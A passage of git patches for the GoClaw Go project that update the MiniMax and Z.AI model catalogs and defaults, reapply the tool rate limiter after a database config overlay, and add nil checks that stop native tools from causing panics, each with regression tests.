`https://api.mistral.ai/v1` | `mistral-large-latest` | | | xai | `https://api.x.ai/v1` | `grok-3-mini` | | -| minimax | `https://api.minimax.io/v1` | `MiniMax-M2.5` | Uses custom chat path | +| minimax | `https://api.minimax.io/v1` | `MiniMax-M3` | Uses OpenAI-compatible chat completions; MiniMax also exposes an Anthropic-compatible API, but GoClaw keeps the current OpenAI-compatible path | | cohere | `https://api.cohere.ai/compatibility/v1` | `command-a` | | | perplexity | `https://api.perplexity.ai` | `sonar-pro` | | | ollama | `http://localhost:11434/v1` | `llama3.3` | Local/configurable | | bailian | `https://coding-intl.dashscope.aliyuncs.com/v1` | `qwen3.5-plus` | Alibaba Coding API | -| zai | `https://api.z.ai/api/paas/v4` | `glm-5` | | -| zai-coding | `https://api.z.ai/api/coding/paas/v4` | `glm-5` | | +| zai | `https://api.z.ai/api/paas/v4` | `glm-5.2` | 1M context, 128K max output | +| zai-coding | `https://api.z.ai/api/coding/paas/v4` | `glm-5.2` | 1M context, 128K max output | | byteplus | `https://ark.ap-southeast.bytepluses.com/api/v3` | `seed-2-0-lite-260228` | Seed 2.0 models | | byteplus_coding | `https://ark.ap-southeast.bytepluses.com/api/coding/v3` | `seed-2-0-lite-260228` | Seed 2.0 Coding Plan | diff --git a/internal/http/provider_models.go b/internal/http/provider_models.go index 2ab10072..927f6eb0 100644 --- a/internal/http/provider_models.go +++ b/internal/http/provider_models.go @@ -97,16 +97,18 @@ func (h *ProvidersHandler) handleListProviderModels(w http.ResponseWriter, r *ht var models []ModelInfo switch p.ProviderType { - case "anthropic_native": + case store.ProviderAnthropicNative: models, err = fetchAnthropicModels(ctx, p.APIKey, h.resolveAPIBase(p)) - case "gemini_native": + case store.ProviderGeminiNative: models, err = fetchGeminiModels(ctx, p.APIKey) - case "bailian": + case store.ProviderBailian: models = bailianModels() - case "dashscope": + case store.ProviderDashScope: models = dashScopeModels() - case "minimax_native": + case store.ProviderMiniMax: models = minimaxModels() + case store.ProviderZai, store.ProviderZaiCoding: + models = zaiModels() default: // All other types use OpenAI-compatible /models endpoint apiBase := openAIModelsAPIBase(p.ProviderType, h.resolveAPIBase(p)) diff --git a/internal/http/provider_models_catalog.go b/internal/http/provider_models_catalog.go index e62c103d..b85863f8 100644 --- a/internal/http/provider_models_catalog.go +++ b/internal/http/provider_models_catalog.go @@ -1,6 +1,9 @@ package http -import "github.com/nextlevelbuilder/goclaw/internal/providers" +import ( + "github.com/nextlevelbuilder/goclaw/internal/providers" + "github.com/nextlevelbuilder/goclaw/internal/store" +) // bailianModels returns a hardcoded list of models available on the // Bailian Coding platform (coding-intl.dashscope.aliyuncs.com). @@ -26,10 +29,16 @@ func bailianModels() []ModelInfo { func minimaxModels() []ModelInfo { return []ModelInfo{ // Chat / text + {ID: store.MiniMaxDefaultModel, Name: "MiniMax M3"}, {ID: "MiniMax-Text-01", Name: "MiniMax Text 01"}, {ID: "MiniMax-M1", Name: "MiniMax M1"}, {ID: "MiniMax-M2.7", Name: "MiniMax M2.7"}, + {ID: "MiniMax-M2.7-highspeed", Name: "MiniMax M2.7 Highspeed"}, {ID: "MiniMax-M2.5", Name: "MiniMax M2.5"}, + {ID: "MiniMax-M2.5-highspeed", Name: "MiniMax M2.5 Highspeed"}, + {ID: "MiniMax-M2.1", Name: "MiniMax M2.1"}, + {ID: "MiniMax-M2.1-highspeed", Name: "MiniMax M2.1 Highspeed"}, + {ID: "MiniMax-M2", Name: "MiniMax M2"}, // Image generation {ID: "image-01", Name: "Image 01"}, // Video generation @@ -45,6 +54,28 @@ func minimaxModels() []ModelInfo { } } +// zaiModels returns a hardcoded list of Z.AI GLM models. +// Z.AI supports OpenAI-compatible chat completions, but /models availability is +// not required for GoClaw's model picker. +func zaiModels() []ModelInfo { + return []ModelInfo{ + {ID: store.ZaiDefaultModel, Name: "GLM 5.2"}, + {ID: "glm-5.1", Name: "GLM 5.1"}, + {ID: "glm-5-turbo", Name: "GLM 5 Turbo"}, + {ID: "glm-5", Name: "GLM 5"}, + {ID: "glm-4.7", Name: "GLM 4.7"}, + {ID: "glm-4.7-flash", Name: "GLM 4.7 Flash"}, + {ID: "glm-4.7-flashx", Name: "GLM 4.7 FlashX"}, + {ID: "glm-4.6", Name: "GLM 4.6"}, + {ID: "glm-4.5", Name: "GLM 4.5"}, + {ID: "glm-4.5-air", Name: "GLM 4.5 Air"}, + {ID: "glm-4.5-x", Name: "GLM 4.5 X"}, + {ID: "glm-4.5-airx", Name: "GLM 4.5 AirX"}, + {ID: "glm-4.5-flash", Name: "GLM 4.5 Flash"}, + {ID: "glm-4-32b-0414-128k", Name: "GLM 4 32B 0414 128K"}, + } +} + // dashScopeModels returns a hardcoded list of DashScope (Qwen) models. // DashScope does not expose a standard /v1/models endpoint. func dashScopeModels() []ModelInfo { diff --git a/internal/http/provider_models_test.go b/internal/http/provider_models_test.go index 2c42b242..af53216a 100644 --- a/internal/http/provider_models_test.go +++ b/internal/http/provider_models_test.go @@ -52,6 +52,22 @@ func ollamaModelsRequest(t *testing.T, mux *http.ServeMux, providerID uuid.UUID, return result, w.Code } +func providerModelsRequest(t *testing.T, mux *http.ServeMux, providerID uuid.UUID, token string) ProviderModelsResponse { + t.Helper() + req := httptest.NewRequest(http.MethodGet, "/v1/providers/"+providerID.String()+"/models", nil) + req.Header.Set("Authorization", "Bearer "+token) + w := httptest.NewRecorder() + mux.ServeHTTP(w, req) + if w.Code != http.StatusOK { + t.Fatalf("status code = %d, want %d, body=%s", w.Code, http.StatusOK, w.Body.String()) + } + var result ProviderModelsResponse + if err := json.NewDecoder(w.Body).Decode(&result); err != nil { + t.Fatalf("Decode() error = %v", err) + } + return result +} + func TestProvidersHandlerListProviderModelsChatGPTOAuthIncludesReasoningMetadata(t *testing.T) { token := setupProvidersAdminToken(t) providerStore := newMockProviderStore() @@ -164,6 +180,84 @@ func TestProvidersHandlerListProviderModelsBailianIncludesQwen37Plus(t *testing. t.Fatalf("qwen3.7-plus not found in Bailian model list: %#v", result.Models) } +func TestProvidersHandlerListProviderModelsMiniMaxIncludesM3AndLegacyModels(t *testing.T) { + token := setupProvidersAdminToken(t) + providerStore := newMockProviderStore() + provider := &store.LLMProviderData{ + BaseModel: store.BaseModel{ID: uuid.New()}, + Name: "minimax", + ProviderType: store.ProviderMiniMax, + APIKey: "token", + Enabled: true, + } + if err := providerStore.CreateProvider(t.Context(), provider); err != nil { + t.Fatalf("CreateProvider() error = %v", err) + } + + handler := NewProvidersHandler(providerStore, newMockSecretsStore(), nil, "") + mux := http.NewServeMux() + handler.RegisterRoutes(mux) + + result := providerModelsRequest(t, mux, provider.ID, token) + assertModelIDsInOrder(t, result.Models, []string{ + "MiniMax-M3", + "MiniMax-M2.7", + "MiniMax-M2.5", + "MiniMax-M2.1", + "MiniMax-M2", + }) +} + +func TestProvidersHandlerListProviderModelsZaiUsesLocalCatalog(t *testing.T) { + token := setupProvidersAdminToken(t) + + for _, providerType := range []string{store.ProviderZai, store.ProviderZaiCoding} { + t.Run(providerType, func(t *testing.T) { + providerStore := newMockProviderStore() + provider := &store.LLMProviderData{ + BaseModel: store.BaseModel{ID: uuid.New()}, + Name: providerType, + ProviderType: providerType, + APIKey: "token", + Enabled: true, + } + if err := providerStore.CreateProvider(t.Context(), provider); err != nil { + t.Fatalf("CreateProvider() error = %v", err) + } + + handler := NewProvidersHandler(providerStore, newMockSecretsStore(), nil, "") + mux := http.NewServeMux() + handler.RegisterRoutes(mux) + + result := providerModelsRequest(t, mux, provider.ID, token) + assertModelIDsInOrder(t, result.Models, []string{ + "glm-5.2", + "glm-5.1", + "glm-5", + "glm-4.7", + "glm-4.5", + }) + }) + } +} + +func assertModelIDsInOrder(t *testing.T, models []ModelInfo, want []string) { + t.Helper() + position := 0 + for _, model := range models { + if position < len(want) && model.ID == want[position] { + position++ + } + } + if position != len(want) { + got := make([]string, 0, len(models)) + for _, model := range models { + got = append(got, model.ID) + } + t.Fatalf("model IDs = %#v, want sequence %#v", got, want) + } +} + func TestProvidersHandlerListProviderModelsOpenAICompatAnnotatesKnownModels(t *testing.T) { token := setupProvidersAdminToken(t) upstream := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { diff --git a/internal/http/providers.go b/internal/http/providers.go index c83f9e77..060c5591 100644 --- a/internal/http/providers.go +++ b/internal/http/providers.go @@ -309,6 +309,18 @@ func (h *ProvidersHandler) registerInMemory(p *store.LLMProviderData) providerRu } h.providerReg.RegisterForTenant(p.TenantID, providers.NewOpenAIProvider(p.Name, p.APIKey, base, "qwen3.5-plus"). WithProviderType(p.ProviderType)) + case store.ProviderZai: + base := apiBase + if base == "" { + base = store.ZaiDefaultAPIBase + } + h.providerReg.RegisterForTenant(p.TenantID, providers.NewOpenAIProvider(p.Name, p.APIKey, base, store.ZaiDefaultModel)) + case store.ProviderZaiCoding: + base := apiBase + if base == "" { + base = store.ZaiCodingDefaultAPIBase + } + h.providerReg.RegisterForTenant(p.TenantID, providers.NewOpenAIProvider(p.Name, p.APIKey, base, store.ZaiDefaultModel)) case store.ProviderNovita: base := apiBase if base == "" { @@ -328,15 +340,25 @@ func (h *ProvidersHandler) registerInMemory(p *store.LLMProviderData) providerRu }) h.providerReg.RegisterForTenant(p.TenantID, prov) default: - prov := providers.NewOpenAIProvider(p.Name, p.APIKey, apiBase, "") - if p.ProviderType == store.ProviderMiniMax { - prov.WithChatPath("/text/chatcompletion_v2") - } + base, model := openAIProviderDefaults(p.ProviderType, apiBase) + prov := providers.NewOpenAIProvider(p.Name, p.APIKey, base, model) h.providerReg.RegisterForTenant(p.TenantID, prov) } return providerRuntimeRegistered } +func openAIProviderDefaults(providerType, apiBase string) (string, string) { + switch providerType { + case store.ProviderMiniMax: + if apiBase == "" { + apiBase = store.MiniMaxDefaultAPIBase + } + return apiBase, store.MiniMaxDefaultModel + default: + return apiBase, "" + } +} + // normalizeOllamaAPIBase ensures Ollama and OllamaCloud api_base values include the // /v1 suffix required for OpenAI-compatible endpoints. Normalizing at write time means // resolveAPIBase() always returns a ready-to-use base URL. diff --git a/internal/http/providers_test.go b/internal/http/providers_test.go index d28d62b4..c9c58989 100644 --- a/internal/http/providers_test.go +++ b/internal/http/providers_test.go @@ -95,6 +95,121 @@ func TestProvidersHandlerRegisterInMemoryUsesDBNameForAnthropic(t *testing.T) { } } +func TestProvidersHandlerRegisterInMemoryMiniMaxUsesM3Default(t *testing.T) { + providerReg := providers.NewRegistry(nil) + handler := NewProvidersHandler(newMockProviderStore(), newMockSecretsStore(), providerReg, "") + + provider := &store.LLMProviderData{ + BaseModel: store.BaseModel{ID: uuid.New()}, + TenantID: uuid.New(), + Name: "minimax", + ProviderType: store.ProviderMiniMax, + APIKey: "token", + Enabled: true, + } + + handler.registerInMemory(provider) + + runtimeProvider, err := providerReg.GetForTenant(provider.TenantID, provider.Name) + if err != nil { + t.Fatalf("GetForTenant() error = %v", err) + } + if got := runtimeProvider.DefaultModel(); got != "MiniMax-M3" { + t.Fatalf("DefaultModel() = %q, want MiniMax-M3", got) + } + openai, ok := runtimeProvider.(*providers.OpenAIProvider) + if !ok { + t.Fatalf("runtime provider = %T, want *providers.OpenAIProvider", runtimeProvider) + } + if got := openai.APIBase(); got != "https://api.minimax.io/v1" { + t.Fatalf("APIBase() = %q, want MiniMax default base", got) + } +} + +func TestProvidersHandlerRegisterInMemoryMiniMaxUsesOpenAIChatCompletionsPath(t *testing.T) { + var capturedPath string + upstream := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + capturedPath = r.URL.Path + _ = json.NewEncoder(w).Encode(map[string]any{ + "choices": []map[string]any{ + { + "message": map[string]string{"content": "ok"}, + "finish_reason": "stop", + }, + }, + }) + })) + t.Cleanup(upstream.Close) + + providerReg := providers.NewRegistry(nil) + handler := NewProvidersHandler(newMockProviderStore(), newMockSecretsStore(), providerReg, "") + provider := &store.LLMProviderData{ + BaseModel: store.BaseModel{ID: uuid.New()}, + TenantID: uuid.New(), + Name: "minimax", + ProviderType: store.ProviderMiniMax, + APIBase: upstream.URL, + APIKey: "token", + Enabled: true, + } + + handler.registerInMemory(provider) + + runtimeProvider, err := providerReg.GetForTenant(provider.TenantID, provider.Name) + if err != nil { + t.Fatalf("GetForTenant() error = %v", err) + } + _, err = runtimeProvider.Chat(context.Background(), providers.ChatRequest{ + Messages: []providers.Message{{Role: "user", Content: "hi"}}, + }) + if err != nil { + t.Fatalf("Chat() error = %v", err) + } + if capturedPath != "/chat/completions" { + t.Fatalf("captured path = %q, want /chat/completions", capturedPath) + } +} + +func TestProvidersHandlerRegisterInMemoryZaiUsesGLM52Default(t *testing.T) { + for _, tt := range []struct { + providerType string + wantBase string + }{ + {providerType: store.ProviderZai, wantBase: "https://api.z.ai/api/paas/v4"}, + {providerType: store.ProviderZaiCoding, wantBase: "https://api.z.ai/api/coding/paas/v4"}, + } { + t.Run(tt.providerType, func(t *testing.T) { + providerReg := providers.NewRegistry(nil) + handler := NewProvidersHandler(newMockProviderStore(), newMockSecretsStore(), providerReg, "") + provider := &store.LLMProviderData{ + BaseModel: store.BaseModel{ID: uuid.New()}, + TenantID: uuid.New(), + Name: tt.providerType, + ProviderType: tt.providerType, + APIKey: "token", + Enabled: true, + } + + handler.registerInMemory(provider) + + runtimeProvider, err := providerReg.GetForTenant(provider.TenantID, provider.Name) + if err != nil { + t.Fatalf("GetForTenant() error = %v", err) + } + if got := runtimeProvider.DefaultModel(); got != "glm-5.2" { + t.Fatalf("DefaultModel() = %q, want glm-5.2", got) + } + openai, ok := runtimeProvider.(*providers.OpenAIProvider) + if !ok { + t.Fatalf("runtime provider = %T, want *providers.OpenAIProvider", runtimeProvider) + } + if got := openai.APIBase(); got != tt.wantBase { + t.Fatalf("APIBase() = %q, want %q", got, tt.wantBase) + } + }) + } +} + // TestProvidersHandlerRegisterInMemoryUsesDBNameForClaudeCLI mirrors the Anthropic guard for Claude CLI. // Custom-named CLI providers must be registered under their DB name to be locatable via verify. func TestProvidersHandlerRegisterInMemoryUsesDBNameForClaudeCLI(t *testing.T) { diff --git a/internal/providers/openai_config.go b/internal/providers/openai_config.go index e6846b97..46418e6f 100644 --- a/internal/providers/openai_config.go +++ b/internal/providers/openai_config.go @@ -14,15 +14,15 @@ type OpenAIProvider struct { chatPath string // defaults to "/chat/completions" authPrefix string // auth header prefix, defaults to "Bearer " if empty defaultModel string - providerType string // DB provider_type (e.g. "gemini_native", "openai", "minimax_native") - siteURL string // optional site URL for provider identification (e.g. OpenRouter HTTP-Referer) - siteTitle string // optional site title for provider identification (e.g. OpenRouter X-Title) + providerType string // DB provider_type (e.g. "gemini_native", "openai", "minimax_native") + siteURL string // optional site URL for provider identification (e.g. OpenRouter HTTP-Referer) + siteTitle string // optional site title for provider identification (e.g. OpenRouter X-Title) extraHeaders map[string]string // static headers set on every outgoing request (e.g. fixed User-Agent for kimi_coding) client *http.Client retryConfig RetryConfig middlewares RequestMiddleware // composed middleware chain (nil = no-op) - registry ModelRegistry // model resolution registry (nil = skip) - noAuthHeader bool // when true, doRequest() skips setting Authorization (e.g. Vertex OAuth transport injects its own) + registry ModelRegistry // model resolution registry (nil = skip) + noAuthHeader bool // when true, doRequest() skips setting Authorization (e.g. Vertex OAuth transport injects its own) } func NewOpenAIProvider(name, apiKey, apiBase, defaultModel string) *OpenAIProvider { @@ -43,7 +43,7 @@ func NewOpenAIProvider(name, apiKey, apiBase, defaultModel string) *OpenAIProvid } } -// WithChatPath returns a copy with a custom chat completions path (e.g. "/text/chatcompletion_v2" for MiniMax native API). +// WithChatPath returns a copy with a custom chat completions path. func (p *OpenAIProvider) WithChatPath(path string) *OpenAIProvider { p.chatPath = path return p diff --git a/internal/store/provider_store.go b/internal/store/provider_store.go index 1a0d08a5..7cb79f0e 100644 --- a/internal/store/provider_store.go +++ b/internal/store/provider_store.go @@ -27,15 +27,24 @@ const ( ProviderYesScale = "yescale" ProviderZai = "zai" ProviderZaiCoding = "zai_coding" - ProviderOllama = "ollama" // local or self-hosted Ollama (no API key) - ProviderOllamaCloud = "ollama_cloud" // Ollama Cloud (Bearer token required) - ProviderACP = "acp" // ACP (Agent Client Protocol) agent subprocess + ProviderOllama = "ollama" // local or self-hosted Ollama (no API key) + ProviderOllamaCloud = "ollama_cloud" // Ollama Cloud (Bearer token required) + ProviderACP = "acp" // ACP (Agent Client Protocol) agent subprocess ProviderNovita = "novita" // Novita AI (OpenAI-compatible endpoint) ProviderBytePlus = "byteplus" // BytePlus ModelArk (Seed 2.0 models) ProviderBytePlusCoding = "byteplus_coding" // BytePlus ModelArk Coding Plan ProviderVertex = "vertex" // Google Cloud Vertex AI (OAuth2 service account + ADC) ProviderKimiCoding = "kimi_coding" // Moonshot Kimi Coding (OpenAI-compat, requires fixed User-Agent) + // MiniMax defaults. + MiniMaxDefaultAPIBase = "https://api.minimax.io/v1" + MiniMaxDefaultModel = "MiniMax-M3" + + // Z.AI defaults. + ZaiDefaultAPIBase = "https://api.z.ai/api/paas/v4" + ZaiCodingDefaultAPIBase = "https://api.z.ai/api/coding/paas/v4" + ZaiDefaultModel = "glm-5.2" + // Novita AI defaults. NovitaDefaultAPIBase = "https://api.novita.ai/openai" NovitaDefaultModel = "moonshotai/kimi-k2.5" @@ -48,8 +57,8 @@ const ( // Kimi Coding defaults. The upstream requires a fixed User-Agent on every // request — handled by the runtime in cmd/gateway_providers.go via // OpenAIProvider.WithExtraHeaders. - KimiCodingDefaultAPIBase = "https://api.kimi.com/coding/v1" - KimiCodingDefaultModel = "kimi-k2-turbo-preview" + KimiCodingDefaultAPIBase = "https://api.kimi.com/coding/v1" + KimiCodingDefaultModel = "kimi-k2-turbo-preview" KimiCodingRequiredUserAgent = "claude-code/0.1.0" ) From db98e477d47018140921e14469864cb137ccf733 Mon Sep 17 00:00:00 2001 From: Plateau Nguyen Date: Sun, 21 Jun 2026 16:58:15 +0700 Subject: [PATCH 018/252] fix(gateway): re-apply tool rate limiter after system_configs overlay (#1111) setupToolRegistry creates the rate limiter from cfg.Tools.RateLimitPerHour during early bootstrap (gateway.go line 137). System_configs DB overlay runs ~50 lines later via cfg.ApplySystemConfigs (line 191), so any DB override of tools.rate_limit_per_hour was silently lost - the limiter object was already initialised from the JSON5 default. Symptom in production: editing tools.rate_limit_per_hour via system_configs table or the config HTTP API had no effect on running gateways. Operators had to inject a config.json file to change the value, defeating the DB-as-source-of-truth pattern that other tunables rely on. Re-apply the limiter after ApplySystemConfigs runs. Safe ordering: server has not started yet, no in-flight tool calls, and SetRateLimiter is a plain field assignment with no shutdown cost on the discarded limiter. nil case (rate_limit_per_hour <= 0) also handled so DB writes can disable the limiter without restart. Tests: new TestRegistry_SetRateLimiter_ReplacesPriorLimiter covers both the replace-with-higher-limit path and the nil-disables path. All existing rate limiter tests still pass. Note: the same ordering pattern likely affects other config consumed inside setupToolRegistry (tools.scrub_credentials, MCP server wiring). Out of scope for this hotfix - they need a deeper restructure. --- cmd/gateway.go | 12 +++++++++++ internal/tools/registry_test.go | 36 +++++++++++++++++++++++++++++++++ 2 files changed, 48 insertions(+) diff --git a/cmd/gateway.go b/cmd/gateway.go index 988beef5..53846be5 100644 --- a/cmd/gateway.go +++ b/cmd/gateway.go @@ -226,6 +226,18 @@ func runGateway() { slog.Info("system_configs applied to in-memory config", "keys", len(sysConfigs)) } } + + // Re-apply tool rate limiter using DB-overlaid config. setupToolRegistry + // initialised the limiter from the JSON5 default before ApplySystemConfigs + // ran, so DB-driven changes to tools.rate_limit_per_hour were lost. Replace + // the limiter object now that cfg reflects the DB value. Safe: server has + // not started, no in-flight tool calls. + if cfg.Tools.RateLimitPerHour > 0 { + toolsReg.SetRateLimiter(tools.NewToolRateLimiter(cfg.Tools.RateLimitPerHour)) + slog.Info("tool rate limiting reapplied from system_configs", "per_hour", cfg.Tools.RateLimitPerHour) + } else { + toolsReg.SetRateLimiter(nil) + } setupMemoryEmbeddings(pgStores, providerRegistry) usageCapSvc := usagecaps.NewService(pgStores.UsageCaps, pgStores.Providers) diff --git a/internal/tools/registry_test.go b/internal/tools/registry_test.go index 1daeb397..5e6885e9 100644 --- a/internal/tools/registry_test.go +++ b/internal/tools/registry_test.go @@ -168,6 +168,42 @@ func TestRegistry_ExecuteWithContext_RateLimiting(t *testing.T) { } } +// SetRateLimiter must be re-callable so that startup code can swap the limiter +// after DB-overlaid config is applied (cmd/gateway.go re-applies once +// system_configs has overlaid the JSON5 default). +func TestRegistry_SetRateLimiter_ReplacesPriorLimiter(t *testing.T) { + reg := NewRegistry() + reg.SetRateLimiter(NewToolRateLimiter(1)) // simulate JSON5 default + reg.Register(&mockTool{name: "tool"}) + + // Replace with higher limit (simulates DB overlay = 5) + reg.SetRateLimiter(NewToolRateLimiter(5)) + + for i := range 5 { + result := reg.ExecuteWithContext(context.Background(), "tool", nil, + "", "", "", "session-replace", nil) + if result.IsError { + t.Errorf("call %d should succeed under new 5/h limit: %s", i, result.ForLLM) + } + } + result := reg.ExecuteWithContext(context.Background(), "tool", nil, + "", "", "", "session-replace", nil) + if !result.IsError { + t.Error("6th call should hit the 5/h limit") + } + + // Disable rate limiting via nil — verifies the gateway path that disables + // the limiter when cfg.Tools.RateLimitPerHour <= 0. + reg.SetRateLimiter(nil) + for i := range 10 { + result := reg.ExecuteWithContext(context.Background(), "tool", nil, + "", "", "", "session-replace", nil) + if result.IsError { + t.Errorf("call %d after nil limiter should be unbounded", i) + } + } +} + func TestRegistry_ExecuteWithContext_NoRateLimitWithoutSessionKey(t *testing.T) { reg := NewRegistry() reg.SetRateLimiter(NewToolRateLimiter(1)) From 389640ae5153244446d97b3abe6d67f59fde6b14 Mon Sep 17 00:00:00 2001 From: thotam <78630736+thotam@users.noreply.github.com> Date: Sun, 21 Jun 2026 18:04:07 +0700 Subject: [PATCH 019/252] fix(agent): check nil td.Function to prevent panic on native tools (#1192) * fix(agent): check nil td.Function to prevent panic on native tools Fix nil pointer dereference panic when agent processes native tools (such as image_generation) which do not contain function schema wrappers. Key changes: - loop_pipeline_callbacks.go & think_stage.go: add checks for td.Function != nil before accessing td.Function.Name. - loop_tool_filter.go & loop_history_toolnames.go: add safety checks when filtering and extracting tool names. - anthropic_request.go & codex_build.go: verify t.Function != nil when formatting tools for provider API requests. * test: add regression tests for native tools nil function panic Add targeted regression tests to verify that: - ThinkStage builds AllowedTools without panicking when mixed with native tools - Loop's buildFilteredTools filters native tools correctly without panicking across all filters - Anthropic request builder skips native tools safely - Codex request builder handles native tools with nil Function fields gracefully --- internal/agent/image_gen_gate_test.go | 59 ++++++++++++++++++++ internal/agent/loop_history_toolnames.go | 8 ++- internal/agent/loop_pipeline_callbacks.go | 5 +- internal/agent/loop_tool_filter.go | 30 ++++++---- internal/pipeline/stages_test.go | 48 ++++++++++++++++ internal/pipeline/think_stage.go | 4 +- internal/providers/adapter_anthropic_test.go | 48 ++++++++++++++++ internal/providers/anthropic_request.go | 3 + internal/providers/codex_build.go | 2 +- internal/providers/codex_test.go | 40 +++++++++++++ 10 files changed, 230 insertions(+), 17 deletions(-) diff --git a/internal/agent/image_gen_gate_test.go b/internal/agent/image_gen_gate_test.go index de0c0938..9c20f9c7 100644 --- a/internal/agent/image_gen_gate_test.go +++ b/internal/agent/image_gen_gate_test.go @@ -12,6 +12,7 @@ import ( "testing" "github.com/nextlevelbuilder/goclaw/internal/providers" + "github.com/nextlevelbuilder/goclaw/internal/tools" ) // imageCapableProvider is a stub provider that also implements CapabilitiesAware @@ -115,3 +116,61 @@ func TestImageGenGate_FinalIteration_AllToolsStripped(t *testing.T) { t.Errorf("final iteration must strip all tools; got %d: %v", len(defs), defs) } } + +type filteringExecutor struct { + stubExecutor + defs []providers.ToolDefinition +} + +func (e *filteringExecutor) ProviderDefs() []providers.ToolDefinition { + return e.defs +} + +func (e *filteringExecutor) Get(name string) (tools.Tool, bool) { + return nil, false +} + +func TestImageGenGate_FilteringNoPanic(t *testing.T) { + prov := &imageCapableProvider{imageGen: true} + + exec := &filteringExecutor{ + defs: []providers.ToolDefinition{ + { + Type: "function", + Function: &providers.ToolFunctionSchema{ + Name: "read_file", + }, + }, + { + Type: "image_generation", + Function: nil, + }, + }, + } + + l := &Loop{ + provider: prov, + allowImageGeneration: true, + tools: exec, + orchMode: "spawn", // Triggers orchModeDenyTools + disabledTools: map[string]bool{"read_file": true}, // Triggers disabled tools filter + agentType: "open", // Triggers bootstrap filter + skillEvolve: false, // Triggers skill evolve filter + } + + req := &RunRequest{ + ChannelType: "telegram", // Triggers channel filtering + } + + // This should run successfully without panic. + defs, allowed, _ := l.buildFilteredTools(req, true, 1, 10, nil, nil) + + if allowed != nil { + if _, exists := allowed[""]; exists { + t.Error("allowedTools map should not contain empty key for native tools") + } + } + + _ = defs +} + diff --git a/internal/agent/loop_history_toolnames.go b/internal/agent/loop_history_toolnames.go index 10121aa7..f9cdd3f3 100644 --- a/internal/agent/loop_history_toolnames.go +++ b/internal/agent/loop_history_toolnames.go @@ -31,9 +31,11 @@ func (l *Loop) filteredToolNames() []string { return l.tools.List() } defs := l.toolPolicy.FilterTools(l.tools, l.id, l.provider.Name(), l.agentToolPolicy, nil, false, false) - names := make([]string, len(defs)) - for i, d := range defs { - names[i] = d.Function.Name + names := make([]string, 0, len(defs)) + for _, d := range defs { + if d.Function != nil { + names = append(names, d.Function.Name) + } } return names } diff --git a/internal/agent/loop_pipeline_callbacks.go b/internal/agent/loop_pipeline_callbacks.go index c331d1ce..9c36b755 100644 --- a/internal/agent/loop_pipeline_callbacks.go +++ b/internal/agent/loop_pipeline_callbacks.go @@ -239,7 +239,7 @@ func (l *Loop) makeBuildFilteredTools(req *RunRequest) func(state *pipeline.RunS } mcpDefs := 0 for _, td := range toolDefs { - if strings.HasPrefix(strings.TrimSpace(td.Function.Name), "mcp_") { + if td.Function != nil && strings.HasPrefix(strings.TrimSpace(td.Function.Name), "mcp_") { mcpDefs++ } } @@ -508,6 +508,9 @@ func (l *Loop) makeCallLLM(req *RunRequest, emitRun func(AgentEvent)) func(ctx c func shouldRetryTaskMCP(chatReq providers.ChatRequest) bool { hasTaskMCPTool := false for _, td := range chatReq.Tools { + if td.Function == nil { + continue + } name := strings.TrimSpace(td.Function.Name) if strings.HasPrefix(name, "mcp_bx24__") && (strings.Contains(name, "search") || strings.Contains(name, "execute")) { hasTaskMCPTool = true diff --git a/internal/agent/loop_tool_filter.go b/internal/agent/loop_tool_filter.go index 58d1b666..abbb8c99 100644 --- a/internal/agent/loop_tool_filter.go +++ b/internal/agent/loop_tool_filter.go @@ -39,7 +39,9 @@ func (l *Loop) buildFilteredTools(req *RunRequest, hadBootstrap bool, iteration, toolDefs = l.toolPolicy.FilterTools(registry, l.id, l.provider.Name(), l.agentToolPolicy, req.ToolAllow, false, false) allowedTools = make(map[string]bool, len(toolDefs)) for _, td := range toolDefs { - allowedTools[td.Function.Name] = true + if td.Function != nil { + allowedTools[td.Function.Name] = true + } } } else { // No policy → all tools allowed. ProviderDefs() omits per-user MCP tools (not in @@ -67,10 +69,12 @@ func (l *Loop) buildFilteredTools(req *RunRequest, hadBootstrap bool, iteration, if orchDeny := orchModeDenyTools(l.orchMode); len(orchDeny) > 0 { filtered := toolDefs[:0:0] for _, td := range toolDefs { - if !orchDeny[td.Function.Name] { + if td.Function == nil || !orchDeny[td.Function.Name] { filtered = append(filtered, td) } else { - delete(allowedTools, td.Function.Name) + if allowedTools != nil { + delete(allowedTools, td.Function.Name) + } } } toolDefs = filtered @@ -80,10 +84,12 @@ func (l *Loop) buildFilteredTools(req *RunRequest, hadBootstrap bool, iteration, if len(l.disabledTools) > 0 { filtered := toolDefs[:0] for _, td := range toolDefs { - if !l.disabledTools[td.Function.Name] { + if td.Function == nil || !l.disabledTools[td.Function.Name] { filtered = append(filtered, td) } else { - delete(allowedTools, td.Function.Name) + if allowedTools != nil { + delete(allowedTools, td.Function.Name) + } } } toolDefs = filtered @@ -94,7 +100,7 @@ func (l *Loop) buildFilteredTools(req *RunRequest, hadBootstrap bool, iteration, if hadBootstrap && l.agentType != store.AgentTypePredefined { var bootstrapDefs []providers.ToolDefinition for _, td := range toolDefs { - if bootstrapToolAllowlist[td.Function.Name] { + if td.Function != nil && bootstrapToolAllowlist[td.Function.Name] { bootstrapDefs = append(bootstrapDefs, td) } } @@ -106,7 +112,7 @@ func (l *Loop) buildFilteredTools(req *RunRequest, hadBootstrap bool, iteration, if !l.skillEvolve { filtered := toolDefs[:0:0] for _, td := range toolDefs { - if td.Function.Name != "skill_manage" { + if td.Function == nil || td.Function.Name != "skill_manage" { filtered = append(filtered, td) } } @@ -117,10 +123,12 @@ func (l *Loop) buildFilteredTools(req *RunRequest, hadBootstrap bool, iteration, if req.ChannelType != "" { filtered := toolDefs[:0:0] for _, td := range toolDefs { - if tool, ok := l.tools.Get(td.Function.Name); ok { - if ca, ok := tool.(tools.ChannelAware); ok { - if !slices.Contains(ca.RequiredChannelTypes(), req.ChannelType) { - continue + if td.Function != nil { + if tool, ok := l.tools.Get(td.Function.Name); ok { + if ca, ok := tool.(tools.ChannelAware); ok { + if !slices.Contains(ca.RequiredChannelTypes(), req.ChannelType) { + continue + } } } } diff --git a/internal/pipeline/stages_test.go b/internal/pipeline/stages_test.go index 75b90e1c..4360b038 100644 --- a/internal/pipeline/stages_test.go +++ b/internal/pipeline/stages_test.go @@ -3183,3 +3183,51 @@ func TestPruneStage_CacheTtlGate_MarkTouchedOnlyOnMutation(t *testing.T) { t.Error("MarkCacheTouched should NOT be called when prune returns no mutation") } } + +func TestThinkStage_AllowedTools_MixedFunctionAndNativeTools_NoPanic(t *testing.T) { + t.Parallel() + deps := &PipelineDeps{ + Config: PipelineConfig{MaxIterations: 